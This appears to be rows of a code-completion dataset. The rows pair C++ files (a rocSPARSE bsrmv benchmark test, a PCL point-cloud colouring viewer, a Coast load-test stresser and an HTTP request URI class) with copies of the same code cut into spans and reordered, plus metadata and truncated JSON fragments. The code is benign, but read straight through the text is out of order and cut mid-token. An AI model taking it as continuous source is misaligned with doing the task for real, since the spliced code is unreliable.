ection), "alpha", *h_alpha.val, "beta", *h_beta.val, "GFlop/s", gpu_gflops, "GB/s", gpu_gbyte, "msec", get_gpu_time_msec(gpu_time_used), "iter", number_hot_calls, "verified", (arg.unit_check ? "yes" : "no")); } #undef PARAMS } #define INSTANTIATE(TYPE) \ template void testing_bsrmv_bad_arg<TYPE>(const Arguments& arg); \ template void testing_bsrmv<TYPE>(const Arguments& arg) INSTANTIATE(float); INSTANTIATE(double); INSTANTIATE(rocsparse_float_complex); INSTANTIATE(rocsparse_double_complex);
} double gpu_time_used = get_time_us(); for(int iter = 0; iter < number_hot_calls; ++iter) { CHECK_ROCSPARSE_ERROR(rocsparse_bsrmv<T>(PARAMS(h_alpha, dA, dx, h_beta, dy))); } gpu_time_used = (get_time_us() - gpu_time_used) / number_hot_calls; double gflop_count = spmv_gflop_count( M, dA.nnzb * dA.row_block_dim * dA.col_block_dim, *h_beta != static_cast<T>(0)); double gbyte_count = bsrmv_gbyte_count<T>( dA.mb, dA.nb, dA.nnzb, dA.row_block_dim, *h_beta != static_cast<T>(0)); double gpu_gflops = get_gpu_gflops(gpu_time_used, gflop_count); double gpu_gbyte = get_gpu_gbyte(gpu_time_used, gbyte_count); display_timing_info("M", M, "N", N, "BSR dim", dA.row_block_dim, "dir", rocsparse_direction2string(dA.block_dir
random
[ { "content": " function rocsparse_sbsrmv(handle, dir, trans, mb, nb, nnzb, alpha, descr, &\n\n bsr_val, bsr_row_ptr, bsr_col_ind, bsr_dim, x, beta, y) &\n\n bind(c, name = 'rocsparse_sbsrmv')\n\n use rocsparse_enums\n\n use iso_c_binding\n\n ...
C++
sources/qt_colorize_cloud/pclviewer.cpp
SmartKangJohn/PCL191_tutorials_x64
ba23cfa0c612d11b00b97fba75e2f9b41633b5d1
#include "pclviewer.h" #include "ui_pclviewer.h" PCLViewer::PCLViewer (QWidget *parent) : QMainWindow (parent), ui (new Ui::PCLViewer), filtering_axis_ (1), color_mode_ (4) { ui->setupUi (this); this->setWindowTitle ("PCL viewer"); cloud_.reset (new PointCloudT); cloud_->resize (500); for (size_t i = 0; i < cloud_->points.size (); ++i) { cloud_->points[i].x = 1024 * rand () / (RAND_MAX + 1.0f); cloud_->points[i].y = 1024 * rand () / (RAND_MAX + 1.0f); cloud_->points[i].z = 1024 * rand () / (RAND_MAX + 1.0f); } viewer_.reset (new pcl::visualization::PCLVisualizer ("viewer", false)); viewer_->setBackgroundColor (0.1, 0.1, 0.1); ui->qvtkWidget->SetRenderWindow (viewer_->getRenderWindow ()); viewer_->setupInteractor (ui->qvtkWidget->GetInteractor (), ui->qvtkWidget->GetRenderWindow ()); ui->qvtkWidget->update (); connect (ui->pushButton_load, SIGNAL(clicked ()), this, SLOT(loadFileButtonPressed ())); connect (ui->pushButton_save, SIGNAL(clicked ()), this, SLOT(saveFileButtonPressed ())); connect (ui->radioButton_x, SIGNAL(clicked ()), this, SLOT(axisChosen ())); connect (ui->radioButton_y, SIGNAL(clicked ()), this, SLOT(axisChosen ())); connect (ui->radioButton_z, SIGNAL(clicked ()), this, SLOT(axisChosen ())); connect (ui->radioButton_BlueRed, SIGNAL(clicked ()), this, SLOT(lookUpTableChosen())); connect (ui->radioButton_GreenMagenta, SIGNAL(clicked ()), this, SLOT(lookUpTableChosen())); connect (ui->radioButton_WhiteRed, SIGNAL(clicked ()), this, SLOT(lookUpTableChosen())); connect (ui->radioButton_GreyRed, SIGNAL(clicked ()), this, SLOT(lookUpTableChosen())); connect (ui->radioButton_Rainbow, SIGNAL(clicked ()), this, SLOT(lookUpTableChosen())); colorCloudDistances (); viewer_->addPointCloud (cloud_, "cloud"); viewer_->resetCamera (); ui->qvtkWidget->update (); } PCLViewer::~PCLViewer () { delete ui; } void PCLViewer::loadFileButtonPressed () { QString filename = QFileDialog::getOpenFileName (this, tr ("Open point cloud"), "/home/", tr ("Point cloud data (*.pcd *.ply)")); PCL_INFO("File chosen: %s\n", filename.toStdString ().c_str ()); PointCloudT::Ptr cloud_tmp (new PointCloudT); if (filename.isEmpty ()) return; int return_status; if (filename.endsWith (".pcd", Qt::CaseInsensitive)) return_status = pcl::io::loadPCDFile (filename.toStdString (), *cloud_tmp); else return_status = pcl::io::loadPLYFile (filename.toStdString (), *cloud_tmp); if (return_status != 0) { PCL_ERROR("Error reading point cloud %s\n", filename.toStdString ().c_str ()); return; } if (cloud_tmp->is_dense) pcl::copyPointCloud (*cloud_tmp, *cloud_); else { PCL_WARN("Cloud is not dense! Non finite points will be removed\n"); std::vector<int> vec; pcl::removeNaNFromPointCloud (*cloud_tmp, *cloud_, vec); } colorCloudDistances (); viewer_->updatePointCloud (cloud_, "cloud"); viewer_->resetCamera (); ui->qvtkWidget->update (); } void PCLViewer::saveFileButtonPressed () { QString filename = QFileDialog::getSaveFileName(this, tr ("Open point cloud"), "/home/", tr ("Point cloud data (*.pcd *.ply)")); PCL_INFO("File chosen: %s\n", filename.toStdString ().c_str ()); if (filename.isEmpty ()) return; int return_status; if (filename.endsWith (".pcd", Qt::CaseInsensitive)) return_status = pcl::io::savePCDFileBinary (filename.toStdString (), *cloud_); else if (filename.endsWith (".ply", Qt::CaseInsensitive)) return_status = pcl::io::savePLYFileBinary (filename.toStdString (), *cloud_); else { filename.append(".ply"); return_status = pcl::io::savePLYFileBinary (filename.toStdString (), *cloud_); } if (return_status != 0) { PCL_ERROR("Error writing point cloud %s\n", filename.toStdString ().c_str ()); return; } } void PCLViewer::axisChosen () { if (ui->radioButton_x->isChecked ()) { PCL_INFO("x filtering chosen\n"); filtering_axis_ = 0; } else if (ui->radioButton_y->isChecked ()) { PCL_INFO("y filtering chosen\n"); filtering_axis_ = 1; } else { PCL_INFO("z filtering chosen\n"); filtering_axis_ = 2; } colorCloudDistances (); viewer_->updatePointCloud (cloud_, "cloud"); ui->qvtkWidget->update (); } void PCLViewer::lookUpTableChosen () { if (ui->radioButton_BlueRed->isChecked ()) { PCL_INFO("Blue -> Red LUT chosen\n"); color_mode_ = 0; } else if (ui->radioButton_GreenMagenta->isChecked ()) { PCL_INFO("Green -> Magenta LUT chosen\n"); color_mode_ = 1; } else if (ui->radioButton_WhiteRed->isChecked ()) { PCL_INFO("White -> Red LUT chosen\n"); color_mode_ = 2; } else if (ui->radioButton_GreyRed->isChecked ()) { PCL_INFO("Grey / Red LUT chosen\n"); color_mode_ = 3; } else { PCL_INFO("Rainbow LUT chosen\n"); color_mode_ = 4; } colorCloudDistances (); viewer_->updatePointCloud (cloud_, "cloud"); ui->qvtkWidget->update (); } void PCLViewer::colorCloudDistances () { double min, max; switch (filtering_axis_) { case 0: min = cloud_->points[0].x; max = cloud_->points[0].x; break; case 1: min = cloud_->points[0].y; max = cloud_->points[0].y; break; default: min = cloud_->points[0].z; max = cloud_->points[0].z; break; } for (PointCloudT::iterator cloud_it = cloud_->begin (); cloud_it != cloud_->end (); ++cloud_it) { switch (filtering_axis_) { case 0: if (min > cloud_it->x) min = cloud_it->x; if (max < cloud_it->x) max = cloud_it->x; break; case 1: if (min > cloud_it->y) min = cloud_it->y; if (max < cloud_it->y) max = cloud_it->y; break; default: if (min > cloud_it->z) min = cloud_it->z; if (max < cloud_it->z) max = cloud_it->z; break; } } double lut_scale = 255.0 / (max - min); if (min == max) lut_scale = 1.0; for (PointCloudT::iterator cloud_it = cloud_->begin (); cloud_it != cloud_->end (); ++cloud_it) { int value; switch (filtering_axis_) { case 0: value = boost::math::iround ( (cloud_it->x - min) * lut_scale); break; case 1: value = boost::math::iround ( (cloud_it->y - min) * lut_scale); break; default: value = boost::math::iround ( (cloud_it->z - min) * lut_scale); break; } switch (color_mode_) { case 0: cloud_it->r = value; cloud_it->g = 0; cloud_it->b = 255 - value; break; case 1: cloud_it->r = value; cloud_it->g = 255 - value; cloud_it->b = value; break; case 2: cloud_it->r = 255; cloud_it->g = 255 - value; cloud_it->b = 255 - value; break; case 3: if (value > 128) { cloud_it->r = 255; cloud_it->g = 0; cloud_it->b = 0; } else { cloud_it->r = 128; cloud_it->g = 128; cloud_it->b = 128; } break; default: cloud_it->r = value > 128 ? (value - 128) * 2 : 0; cloud_it->g = value < 128 ? 2 * value : 255 - ( (value - 128) * 2); cloud_it->b = value < 128 ? 255 - (2 * value) : 0; } } }
#include "pclviewer.h" #include "ui_pclviewer.h" PCLViewer::PCLViewer (QWidget *parent) : QMainWindow (parent), ui (new Ui::PCLViewer), filtering_axis_ (1), color_mode_ (4) { ui->setupUi (this); this->setWindowTitle ("PCL viewer"); cloud_.reset (new PointCloudT); cloud_->resize (500); for (size_t i = 0; i < cloud_->points.size (); ++i) { cloud_->points[i].x = 1024 * rand () / (RAND_MAX + 1.0f); cloud_->points[i].y = 1024 * rand () / (RAND_MAX + 1.0f); cloud_->points[i].z = 1024 * rand () / (RAND_MAX + 1.0f); } viewer_.reset (new pcl::visualization::PCLVisualizer ("viewer", false)); viewer_->setBackgroundColor (0.1, 0.1, 0.1); ui->qvtkWidget->SetRenderWindow (viewer_->getRenderWindow ()); viewer_->setupInteractor (ui->qvtkWidget->GetInteractor (), ui->qvtkWidget->GetRenderWindow ()); ui->qvtkWidget->update (); connect (ui->pushButton_load, SIGNAL(clicked ()), this, SLOT(loadFileButtonPressed ())); connect (ui->pushButton_save, SIGNAL(clicked ()), this, SLOT(saveFileButtonPressed ())); connect (ui->radioButton_x, SIGNAL(clicked ()), this, SLOT(axisChosen ())); connect (ui->radioButton_y, SIGNAL(clicked ()), this, SLOT(axisChosen ())); connect (ui->radioButton_z, SIGNAL(clicked ()), this, SLOT(axisChosen ())); connect (ui->radioButton_BlueRed, SIGNAL(clicked ()), this, SLOT(lookUpTableChosen())); connect (ui->radioButton_GreenMagenta, SIGNAL(clicked ()), this, SLOT(lookUpTableChosen())); connect (ui->radioButton_WhiteRed, SIGNAL(clicked ()), this, SLOT(lookUpTableChosen())); connect (ui->radioButton_GreyRed, SIGNAL(clicked ()), this, SLOT(lookUpTableChosen())); connect (ui->radioButton_Rainbow, SIGNAL(clicked ()), this, SLOT(lookUpTableChosen())); colorCloudDistances (); viewer_->addPointCloud (cloud_, "cloud"); viewer_->resetCamera (); ui->qvtkWidget->update (); } PCLViewer::~PCLViewer () { delete ui; } void PCLViewer::loadFileButtonPressed () { QString filename = QFileDialog::getOpenFileName (this, tr ("Open point cloud"), "/home/", tr ("Point cloud data (*.pcd *.ply)")); PCL_INFO("File chosen: %s\n", filename.toStdString ().c_str ()); PointCloudT::Ptr cloud_tmp (new PointCloudT); if (filename.isEmpty ()) return; int return_status;
vtkWidget->update (); } void PCLViewer::saveFileButtonPressed () { QString filename = QFileDialog::getSaveFileName(this, tr ("Open point cloud"), "/home/", tr ("Point cloud data (*.pcd *.ply)")); PCL_INFO("File chosen: %s\n", filename.toStdString ().c_str ()); if (filename.isEmpty ()) return; int return_status; if (filename.endsWith (".pcd", Qt::CaseInsensitive)) return_status = pcl::io::savePCDFileBinary (filename.toStdString (), *cloud_); else if (filename.endsWith (".ply", Qt::CaseInsensitive)) return_status = pcl::io::savePLYFileBinary (filename.toStdString (), *cloud_); else { filename.append(".ply"); return_status = pcl::io::savePLYFileBinary (filename.toStdString (), *cloud_); } if (return_status != 0) { PCL_ERROR("Error writing point cloud %s\n", filename.toStdString ().c_str ()); return; } } void PCLViewer::axisChosen () { if (ui->radioButton_x->isChecked ()) { PCL_INFO("x filtering chosen\n"); filtering_axis_ = 0; } else if (ui->radioButton_y->isChecked ()) { PCL_INFO("y filtering chosen\n"); filtering_axis_ = 1; } else { PCL_INFO("z filtering chosen\n"); filtering_axis_ = 2; } colorCloudDistances (); viewer_->updatePointCloud (cloud_, "cloud"); ui->qvtkWidget->update (); } void PCLViewer::lookUpTableChosen () { if (ui->radioButton_BlueRed->isChecked ()) { PCL_INFO("Blue -> Red LUT chosen\n"); color_mode_ = 0; } else if (ui->radioButton_GreenMagenta->isChecked ()) { PCL_INFO("Green -> Magenta LUT chosen\n"); color_mode_ = 1; } else if (ui->radioButton_WhiteRed->isChecked ()) { PCL_INFO("White -> Red LUT chosen\n"); color_mode_ = 2; } else if (ui->radioButton_GreyRed->isChecked ()) { PCL_INFO("Grey / Red LUT chosen\n"); color_mode_ = 3; } else { PCL_INFO("Rainbow LUT chosen\n"); color_mode_ = 4; } colorCloudDistances (); viewer_->updatePointCloud (cloud_, "cloud"); ui->qvtkWidget->update (); } void PCLViewer::colorCloudDistances () { double min, max; switch (filtering_axis_) { case 0: min = cloud_->points[0].x; max = cloud_->points[0].x; break; case 1: min = cloud_->points[0].y; max = cloud_->points[0].y; break; default: min = cloud_->points[0].z; max = cloud_->points[0].z; break; } for (PointCloudT::iterator cloud_it = cloud_->begin (); cloud_it != cloud_->end (); ++cloud_it) { switch (filtering_axis_) { case 0: if (min > cloud_it->x) min = cloud_it->x; if (max < cloud_it->x) max = cloud_it->x; break; case 1: if (min > cloud_it->y) min = cloud_it->y; if (max < cloud_it->y) max = cloud_it->y; break; default: if (min > cloud_it->z) min = cloud_it->z; if (max < cloud_it->z) max = cloud_it->z; break; } } double lut_scale = 255.0 / (max - min); if (min == max) lut_scale = 1.0; for (PointCloudT::iterator cloud_it = cloud_->begin (); cloud_it != cloud_->end (); ++cloud_it) { int value; switch (filtering_axis_) { case 0: value = boost::math::iround ( (cloud_it->x - min) * lut_scale); break; case 1: value = boost::math::iround ( (cloud_it->y - min) * lut_scale); break; default: value = boost::math::iround ( (cloud_it->z - min) * lut_scale); break; } switch (color_mode_) { case 0: cloud_it->r = value; cloud_it->g = 0; cloud_it->b = 255 - value; break; case 1: cloud_it->r = value; cloud_it->g = 255 - value; cloud_it->b = value; break; case 2: cloud_it->r = 255; cloud_it->g = 255 - value; cloud_it->b = 255 - value; break; case 3: if (value > 128) { cloud_it->r = 255; cloud_it->g = 0; cloud_it->b = 0; } else { cloud_it->r = 128; cloud_it->g = 128; cloud_it->b = 128; } break; default: cloud_it->r = value > 128 ? (value - 128) * 2 : 0; cloud_it->g = value < 128 ? 2 * value : 255 - ( (value - 128) * 2); cloud_it->b = value < 128 ? 255 - (2 * value) : 0; } } }
if (filename.endsWith (".pcd", Qt::CaseInsensitive)) return_status = pcl::io::loadPCDFile (filename.toStdString (), *cloud_tmp); else return_status = pcl::io::loadPLYFile (filename.toStdString (), *cloud_tmp); if (return_status != 0) { PCL_ERROR("Error reading point cloud %s\n", filename.toStdString ().c_str ()); return; } if (cloud_tmp->is_dense) pcl::copyPointCloud (*cloud_tmp, *cloud_); else { PCL_WARN("Cloud is not dense! Non finite points will be removed\n"); std::vector<int> vec; pcl::removeNaNFromPointCloud (*cloud_tmp, *cloud_, vec); } colorCloudDistances (); viewer_->updatePointCloud (cloud_, "cloud"); viewer_->resetCamera (); ui->q
random
[ { "content": "class SimpleOpenNIViewer\n\n{\n\npublic:\n\n SimpleOpenNIViewer () :\n\n viewer (\" Point Cloud Compression Example\")\n\n {\n\n }\n\n\n\n void\n\n cloud_cb_ (const pcl::PointCloud<pcl::PointXYZRGBA>::ConstPtr &cloud)\n\n {\n\n if (!viewer.wasStopped ())\n\n {\n\n // stringstre...
C++
coast/perfTest/src/FlowControlDAStresser.cpp
zer0infinity/CuteForCoast
37d933c5fe2e0ce9a801f51b2aa27c7a18098511
#include "FlowControlDAStresser.h" #include "FlowController.h" #include "Application.h" RegisterStresser(FlowControlDAStresser); Anything FlowControlDAStresser::Run(long id) { StartTrace(FlowControlDAStresser.Run); TraceAny(fConfig, "Config 1"); Anything result; long nError(0); long nrBytes(0); long sum(0); long itopia_min(200000); long itopia_max(0); String flowCntrlName = fConfig["FlowController"].AsString(""); long nrRequests = 0; long nrSteps = 0; Trace("flowcontrolname is: " << flowCntrlName); if (flowCntrlName != "") { FlowController *flowCntrl = FlowController::FindFlowController(flowCntrlName); if (!flowCntrl) { Trace("ERROR: flowcontrolname " << flowCntrlName << " not found" ); String errorMsg = "FlowController "; errorMsg << flowCntrlName << " not found"; result["ErrorMsg"][errorMsg] = ""; return result; } else { flowCntrlName << "_of_DAStresser"; flowCntrl = (FlowController *) flowCntrl->ConfiguredClone("FlowController", flowCntrlName, true); } Anything env; env["Id"] = id - 1; Trace("making ctx"); Context ctx(fConfig.DeepClone(), env, 0, 0, 0); Anything tmpStore = ctx.GetTmpStore(); tmpStore["result"].Remove("InfoMessageCtr"); tmpStore["result"].Remove("ErrorMessage"); tmpStore["result"]["ConfigStep"] = 1; tmpStore["result"].Remove("StepsWithErrors"); bool noBreakCondition = true; long Start = 0; long End = 0; long Range = 0; if (fConfig.IsDefined("Range")) { Range = fConfig["Range"].AsLong(); Start = (id - 1) * Range; End = Start + Range - 1; } else { Start = fConfig["UserList"][id - 1]["Start"].AsLong(); End = fConfig["UserList"][id - 1]["End"].AsLong(); } Trace("find application StressApp" ); long currentOffset = 0; String appName; Application *application = Application::GetGlobalApplication(appName); long idAndCurrentOffset = 0; if (application) { currentOffset = application->Lookup("OFFSET", 0L); idAndCurrentOffset = currentOffset + id - 1; env["IdAndCurrentOffset"] = idAndCurrentOffset; Trace(appName << " application found" ); } Start += currentOffset; End += currentOffset; long Diff = End - Start; long currentReqNr = 0; long currentNumber = 0; long lastErrors = 0; if (Diff <= 0) { Diff = 1; } Trace("id: [" << id << "] IdAndCurrentOffset: [" << idAndCurrentOffset << "] Range: [" << Range << "] Start: [" << Start << "] End: [" << End << "] Diff: [" << Diff << "]"); while (true) { Trace("PrepareRequest" ); bool bPrepareRequestSucceeded; noBreakCondition = flowCntrl->PrepareRequest(ctx, bPrepareRequestSucceeded); if (!noBreakCondition || !bPrepareRequestSucceeded) { Trace("break condition-return" ); if (!bPrepareRequestSucceeded) { nError++; Trace("Errorcount1:" << nError ); } if (flowCntrl) { flowCntrl->Finalize(); delete flowCntrl; } if (nrSteps == 0) { nrSteps++; } break; } nrSteps++; String strStepNr; strStepNr << nrSteps; TraceAny( ctx.GetQuery(), "state of query after PrepareRequest is" ); currentReqNr = tmpStore["FlowState"]["RunNr"].AsLong(); currentNumber = (currentReqNr % Diff) + Start; tmpStore["CurrentNumber"] = currentNumber; if (!bPrepareRequestSucceeded) { ROAnything roa; if (ctx.Lookup("PrepareRequestFail", roa) && roa.AsBool(false)) { } else { nError++; Trace("Errorcount2:" << nError ); } } else { if (!ctx.GetQuery().IsDefined("DataAccess")) { ctx.GetQuery()["DataAccess"] = fConfig["DataAccess"].AsString(""); } TraceAny(ctx.GetTmpStore(), "Tempstore"); long accessTime; if (!flowCntrl->ExecDataAccess(ctx, accessTime)) { Trace("ExecDataAccess failed!"); ROAnything roa; if (ctx.Lookup("StdExecFail", roa) && roa.AsBool(false)) { } else { nError++; Trace("Errorcount3:" << nError ); } } else { Trace("AccessTime " << accessTime); if (!flowCntrl->AnalyseReply(ctx, result)) { Trace("Analyse reply failed!"); ROAnything roa; if (ctx.Lookup("AnalyseReplyFail", roa) && roa.AsBool(false)) { } else { nError++; Trace("AnalyseReply returned false"); Trace("Errorcount4:" << nError ); } } if (tmpStore["result"].IsDefined("Bytes")) { nrBytes += tmpStore["result"]["Bytes"].AsLong(0L); Trace("Total no bytes is: " << nrBytes); tmpStore["result"].Remove("Bytes"); } } nrRequests++; TraceAny(ctx.GetTmpStore(), "outComing Tempstore"); tmpStore["result"]["Details"][strStepNr]["ExecTime"] = accessTime; sum += accessTime; if (accessTime > itopia_max) { itopia_max = accessTime; } if (accessTime < itopia_min || itopia_min < 0) { itopia_min = accessTime; } } if (tmpStore.IsDefined("Label")) { tmpStore["result"]["Details"][strStepNr]["Label"] = tmpStore["Label"].AsString(); } else { tmpStore["result"]["Details"][strStepNr]["Label"] = tmpStore["result"]["ConfigStep"].AsString(); } CheckCopyErrorMessage(result, ctx.GetTmpStore(), nrSteps, (lastErrors != nError)); lastErrors = nError; tmpStore["result"]["ConfigStep"] = nrSteps + 1; SystemLog::WriteToStderr(".", 1); flowCntrl->CleanupAfterStep(ctx); } if (tmpStore["result"].IsDefined("InfoMessageCtr")) { result["InfoMessageCtr"] = tmpStore["result"]["InfoMessageCtr"]; } tmpStore["result"].Remove("StepsWithErrors"); TraceAny(tmpStore["result"], "temp store" ); result["Details"] = tmpStore["result"]["Details"]; } result["Nr"] = nrRequests; result["Steps"] = nrSteps; result["Error"] = nError; result["Sum"] = sum; result["Max"] = itopia_max; result["Min"] = itopia_min; result["Bytes"] = nrBytes; TraceAny(result, "Result (transactions include relocate/refresh)" ); Anything anyResult; anyResult.Append(result); return anyResult; }
#include "FlowControlDAStresser.h" #include "FlowController.h" #include "Application.h" RegisterStresser(FlowControlDAStresser); Anything FlowControlDAStresser::Run(long id) { StartTrace(FlowControlDAStresser.Run); TraceAny(fConfig, "Config 1"); Anything result; long nError(0); long nrBytes(0); long sum(0); long itopia_min(20000
)) { ctx.GetQuery()["DataAccess"] = fConfig["DataAccess"].AsString(""); } TraceAny(ctx.GetTmpStore(), "Tempstore"); long accessTime; if (!flowCntrl->ExecDataAccess(ctx, accessTime)) { Trace("ExecDataAccess failed!"); ROAnything roa; if (ctx.Lookup("StdExecFail", roa) && roa.AsBool(false)) { } else { nError++; Trace("Errorcount3:" << nError ); } } else { Trace("AccessTime " << accessTime); if (!flowCntrl->AnalyseReply(ctx, result)) { Trace("Analyse reply failed!"); ROAnything roa; if (ctx.Lookup("AnalyseReplyFail", roa) && roa.AsBool(false)) { } else { nError++; Trace("AnalyseReply returned false"); Trace("Errorcount4:" << nError ); } } if (tmpStore["result"].IsDefined("Bytes")) { nrBytes += tmpStore["result"]["Bytes"].AsLong(0L); Trace("Total no bytes is: " << nrBytes); tmpStore["result"].Remove("Bytes"); } } nrRequests++; TraceAny(ctx.GetTmpStore(), "outComing Tempstore"); tmpStore["result"]["Details"][strStepNr]["ExecTime"] = accessTime; sum += accessTime; if (accessTime > itopia_max) { itopia_max = accessTime; } if (accessTime < itopia_min || itopia_min < 0) { itopia_min = accessTime; } } if (tmpStore.IsDefined("Label")) { tmpStore["result"]["Details"][strStepNr]["Label"] = tmpStore["Label"].AsString(); } else { tmpStore["result"]["Details"][strStepNr]["Label"] = tmpStore["result"]["ConfigStep"].AsString(); } CheckCopyErrorMessage(result, ctx.GetTmpStore(), nrSteps, (lastErrors != nError)); lastErrors = nError; tmpStore["result"]["ConfigStep"] = nrSteps + 1; SystemLog::WriteToStderr(".", 1); flowCntrl->CleanupAfterStep(ctx); } if (tmpStore["result"].IsDefined("InfoMessageCtr")) { result["InfoMessageCtr"] = tmpStore["result"]["InfoMessageCtr"]; } tmpStore["result"].Remove("StepsWithErrors"); TraceAny(tmpStore["result"], "temp store" ); result["Details"] = tmpStore["result"]["Details"]; } result["Nr"] = nrRequests; result["Steps"] = nrSteps; result["Error"] = nError; result["Sum"] = sum; result["Max"] = itopia_max; result["Min"] = itopia_min; result["Bytes"] = nrBytes; TraceAny(result, "Result (transactions include relocate/refresh)" ); Anything anyResult; anyResult.Append(result); return anyResult; }
0); long itopia_max(0); String flowCntrlName = fConfig["FlowController"].AsString(""); long nrRequests = 0; long nrSteps = 0; Trace("flowcontrolname is: " << flowCntrlName); if (flowCntrlName != "") { FlowController *flowCntrl = FlowController::FindFlowController(flowCntrlName); if (!flowCntrl) { Trace("ERROR: flowcontrolname " << flowCntrlName << " not found" ); String errorMsg = "FlowController "; errorMsg << flowCntrlName << " not found"; result["ErrorMsg"][errorMsg] = ""; return result; } else { flowCntrlName << "_of_DAStresser"; flowCntrl = (FlowController *) flowCntrl->ConfiguredClone("FlowController", flowCntrlName, true); } Anything env; env["Id"] = id - 1; Trace("making ctx"); Context ctx(fConfig.DeepClone(), env, 0, 0, 0); Anything tmpStore = ctx.GetTmpStore(); tmpStore["result"].Remove("InfoMessageCtr"); tmpStore["result"].Remove("ErrorMessage"); tmpStore["result"]["ConfigStep"] = 1; tmpStore["result"].Remove("StepsWithErrors"); bool noBreakCondition = true; long Start = 0; long End = 0; long Range = 0; if (fConfig.IsDefined("Range")) { Range = fConfig["Range"].AsLong(); Start = (id - 1) * Range; End = Start + Range - 1; } else { Start = fConfig["UserList"][id - 1]["Start"].AsLong(); End = fConfig["UserList"][id - 1]["End"].AsLong(); } Trace("find application StressApp" ); long currentOffset = 0; String appName; Application *application = Application::GetGlobalApplication(appName); long idAndCurrentOffset = 0; if (application) { currentOffset = application->Lookup("OFFSET", 0L); idAndCurrentOffset = currentOffset + id - 1; env["IdAndCurrentOffset"] = idAndCurrentOffset; Trace(appName << " application found" ); } Start += currentOffset; End += currentOffset; long Diff = End - Start; long currentReqNr = 0; long currentNumber = 0; long lastErrors = 0; if (Diff <= 0) { Diff = 1; } Trace("id: [" << id << "] IdAndCurrentOffset: [" << idAndCurrentOffset << "] Range: [" << Range << "] Start: [" << Start << "] End: [" << End << "] Diff: [" << Diff << "]"); while (true) { Trace("PrepareRequest" ); bool bPrepareRequestSucceeded; noBreakCondition = flowCntrl->PrepareRequest(ctx, bPrepareRequestSucceeded); if (!noBreakCondition || !bPrepareRequestSucceeded) { Trace("break condition-return" ); if (!bPrepareRequestSucceeded) { nError++; Trace("Errorcount1:" << nError ); } if (flowCntrl) { flowCntrl->Finalize(); delete flowCntrl; } if (nrSteps == 0) { nrSteps++; } break; } nrSteps++; String strStepNr; strStepNr << nrSteps; TraceAny( ctx.GetQuery(), "state of query after PrepareRequest is" ); currentReqNr = tmpStore["FlowState"]["RunNr"].AsLong(); currentNumber = (currentReqNr % Diff) + Start; tmpStore["CurrentNumber"] = currentNumber; if (!bPrepareRequestSucceeded) { ROAnything roa; if (ctx.Lookup("PrepareRequestFail", roa) && roa.AsBool(false)) { } else { nError++; Trace("Errorcount2:" << nError ); } } else { if (!ctx.GetQuery().IsDefined("DataAccess"
function_block-random_span
[ { "content": "\tclass AnythingConfigTestPolicy\n\n\t{\n\n\tpublic:\n\n\t\ttypedef AnythingConfigTestPolicy<dummy> ConfigPolicyType;\n\n\n\n\t\tAnythingConfigTestPolicy() {};\n\n\t\tvirtual ~AnythingConfigTestPolicy() {};\n\n\n\n\t\tbool loadConfig(TString strClassName, TString strTestName) {\n\n\t\t\treturn DoL...
C++
data-plane/http-common/source/ESHttpRequestUri.cpp
duderino/everscale
38388289dcce869852680a167f3dcb7e090d851c
#ifndef ES_HTTP_REQUEST_URI_H #include <ESHttpRequestUri.h> #endif #ifndef ESB_CONFIG_H #include <ESBConfig.h> #endif #ifndef ES_HTTP_UTIL_H #include <ESHttpUtil.h> #endif namespace ES { HttpRequestUri::HttpRequestUri(UriType type) : _type(type), _port(-1), _host(NULL), _absPath(NULL), _query(NULL), _fragment(NULL), _other(NULL) {} HttpRequestUri::HttpRequestUri() : _type(ES_URI_HTTP), _port(-1), _host(NULL), _absPath(NULL), _query(NULL), _fragment(NULL), _other(NULL) {} HttpRequestUri::~HttpRequestUri() {} void HttpRequestUri::reset() { _type = ES_URI_HTTP; _port = -1; _host = NULL; _absPath = NULL; _query = NULL; _fragment = NULL; _other = NULL; } ESB::Error HttpRequestUri::copy(const HttpRequestUri *other, ESB::Allocator &allocator) { if (!other) { return ESB_NULL_POINTER; } _type = other->type(); _port = other->port(); if (other->host()) { _host = HttpUtil::Duplicate(&allocator, other->host()); if (!_host) { return ESB_OUT_OF_MEMORY; } } if (other->absPath()) { _absPath = HttpUtil::Duplicate(&allocator, other->absPath()); if (!_absPath) { allocator.deallocate((void *)_host); _host = NULL; return ESB_OUT_OF_MEMORY; } } if (other->query()) { _query = HttpUtil::Duplicate(&allocator, other->query()); if (!_query) { allocator.deallocate((void *)_host); allocator.deallocate((void *)_absPath); _host = NULL; _absPath = NULL; return ESB_OUT_OF_MEMORY; } } if (other->fragment()) { _fragment = HttpUtil::Duplicate(&allocator, other->fragment()); if (!_fragment) { allocator.deallocate((void *)_host); allocator.deallocate((void *)_absPath); allocator.deallocate((void *)_query); _host = NULL; _absPath = NULL; _query = NULL; return ESB_OUT_OF_MEMORY; } } if (other->other()) { _other = HttpUtil::Duplicate(&allocator, other->other()); if (!_other) { allocator.deallocate((void *)_host); allocator.deallocate((void *)_absPath); allocator.deallocate((void *)_query); allocator.deallocate((void *)_fragment); _host = NULL; _absPath = NULL; _query = NULL; _fragment = NULL; return ESB_OUT_OF_MEMORY; } } return ESB_SUCCESS; } int HttpRequestUri::Compare(const HttpRequestUri *r1, const HttpRequestUri *r2) { if (ES_URI_ASTERISK == r1->type() && ES_URI_ASTERISK == r2->type()) { return 0; } if (ES_URI_OTHER == r1->type() && ES_URI_OTHER == r2->type()) { return strcmp((const char *)r1->other(), (const char *)r2->other()); } int result = 0; if (r1->type() != r2->type()) { return ES_URI_HTTP == r1->type() ? 1 : -1; } if (r1->host() != r2->host()) { if (0 == r1->host()) { return -1; } if (0 == r2->host()) { return 1; } result = strcasecmp((const char *)r1->host(), (const char *)r2->host()); if (0 != result) { return result; } } int port1 = 0 <= r1->port() ? r1->port() : (ES_URI_HTTP == r1->type() ? 80 : 443); int port2 = 0 <= r2->port() ? r2->port() : (ES_URI_HTTP == r2->type() ? 80 : 443); if (0 != port1 - port2) { return port1 - port2; } const char *absPath1 = 0 == r1->absPath() ? "/" : (const char *)r1->absPath(); const char *absPath2 = 0 == r2->absPath() ? "/" : (const char *)r2->absPath(); if (absPath1 != absPath2) { result = strcmp(absPath1, absPath2); if (0 != result) { return result; } } if (r1->query() != r2->query()) { if (0 == r1->query()) { return -1; } if (0 == r2->query()) { return 1; } result = strcmp((const char *)r1->query(), (const char *)r2->query()); if (0 != result) { return result; } } return 0; } }
